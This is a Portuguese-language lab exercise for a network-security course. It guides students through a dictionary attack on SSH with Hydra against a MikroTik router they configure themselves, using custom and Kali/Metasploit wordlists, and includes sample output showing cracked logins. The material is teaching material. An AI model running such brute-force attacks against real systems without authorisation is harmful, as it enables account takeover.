Exercício 1c - Ataque de dicionário

Objetivo: Realizar um ataque de Força Bruta ao serviço de SSH no **MikrotikClientes**.

Cenário inicial: Endereços IPs configurados nas interfaces dos equipamentos.

Parte 1 - Antes de iniciar o ataque, realize as configurações prévias descritas a seguir.

1. Acesse o **MikrotikClientes** usando a credencial admin (senha vazia).

```
MikroTik Login: admin
Password:
```

2. Troque a senha do usuário admin padrão.

```
/user set 0 password=admin
```

3. Crie outro administrador.

```
/user add name=admin2 password=admin2 group=full
```

4. Agora, crie um usuário chamado **bob** com a senha **123456** e outro chamado **alice** com a senha **abc123**

```
/user add name=bob password=123456 group=read
/user add name=alice password=abc123 group=write
```

5. Ainda no **MikrotikClientes** monitore os logs com o comando:

```
/log print follow-only
-- Ctrl-C to quit. Space prints separator. New entries will appear at bottom.
```

Parte 2 - Realize o ataque de Força Bruta

1. Entre no equipamento **KaliLinux**
   login: ceptro
   senha: ceptro
2. Abra o Terminal do KaliLinux **Terminal Emulator**

3. O primeiro passo é criar um arquivo de texto contendo uma lista com possíveis usuários que podem existir no alvo do ataque, neste caso, o **MikrotikClientes**. Crie um arquivo de texto chamado usuarios.txt usando o Nano **ou** Vim.

```
#nano usuarios.txt
```

ou

```
#vim usuarios.txt
```

4. Adicione em cada linha do arquivo o nome dos usuários que serão testados (lembre de adicionar os usuários criados anteriormente no **MikrotikClientes**):

```
bob
alice
admin
root
edu
admin2
estagiario
```

5. O segundo passo é criar um arquivo de texto contendo uma lista com as senhas que serão utilizadas no ataque. Crie um arquivo de texto chamado senhas.txt usando o Nano **ou** Vim.

```
#nano senhas.txt
```

ou

```
#vim senhas.txt
```

6. Adicione em cada linha do arquivo as senhas que serão testadas no ataque e dicionário (lembre de adicionar as senhas utilizadas no **MikrotikClientes**):

```
password
123mudar
Brasil
123
123456
senha
abc123
```

Para realizar o ataque de Força Bruta nos usuários do **MikrotikClientes,** podemos utilizar ferramentas como o Hydra e o Medusa. Essas duas ferramentas se destacam na realização desse tipo de teste e suportam um variado conjunto de protocolos.

7. Vamos realizar um ataque de Força Bruta com o Hydra contra o **MikrotikClientes**. Utilize o seguinte comando:

```
#hydra -L usuarios.txt -P senhas.txt -e nsr 4d0c:XX::1 ssh

[DATA] attacking ssh://[4d0c:50::1]:22/
[22][ssh] host: 4d0c:XX::1   login: admin   password: admin
[22][ssh] host: 4d0c:XX::1   login: bob   password: 123456
[22][ssh] host: 4d0c:XX::1   login: alice   password: abc123
[22][ssh] host: 4d0c:XX::1   login: admin2   password: admin2
1 of 1 target successfully completed, 4 valid passwords found
```

8. Acesse o console do **MikrotikClientes**, que está monitorando os logs, e observe as tentativas de acesso utilizando o Hydra.

Outra possibilidade é no lugar de criar um arquivo com senhas, podemos utilizar uma WordList (lista com senhas) já existente. O Kali Linux fornece algumas WordLists como parte de sua instalação padrão. Uma outra opção é utilizar outras WordLists disponíveis na Internet.

9. Para consultar as WordLists disponíveis no Kali Linux use o comando a seguir.

```
#ls -lh /usr/share/wordlists

total 51M
lrwxrwxrwx 1 root root  25 Nov 18  2021 dirb -> /usr/share/dirb/wordlists
lrwxrwxrwx 1 root root  30 Nov 18  2021 dirbuster -> /usr/share/dirbuster/wordlists
lrwxrwxrwx 1 root root  41 Nov 18  2021 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
lrwxrwxrwx 1 root root  45 Nov 18  2021 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
lrwxrwxrwx 1 root root  46 Nov 18  2021 metasploit -> /usr/share/metasploit-framework/data/wordlists
lrwxrwxrwx 1 root root  41 Nov 18  2021 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
-rw-r--r-- 1 root root 51M Jul 17  2019 rockyou.txt.gz
lrwxrwxrwx 1 root root  25 Nov 18  2021 wfuzz -> /usr/share/wfuzz/wordlist
```

10. Vamos utilizar a WordList do Metasploit. Primeiro, faça uma cópia do arquivo com as senhas.

```
#cp /usr/share/metasploit-framework/data/wordlists/password.lst
passwordsMetasploit.txt
```

11. Agora, utilize o Hydra para fazer o ataque. Este processo pode demorar muito, pois arquivo de senha contém mais de 88 mil senhas vazadas, caso queira pará-lo, use CTRL + C.

```
#hydra -L usuarios.txt -P passwordsMetasploit.txt -e nsr 4d0c:XX::1 ssh
```

Outro arquivo de dicionário de senhas bem conhecido é o **rockyou.txt**, ele contém uma lista com mais de 14 milhões de senhas. Fique à vontade para usá-lo durante os seus estudos.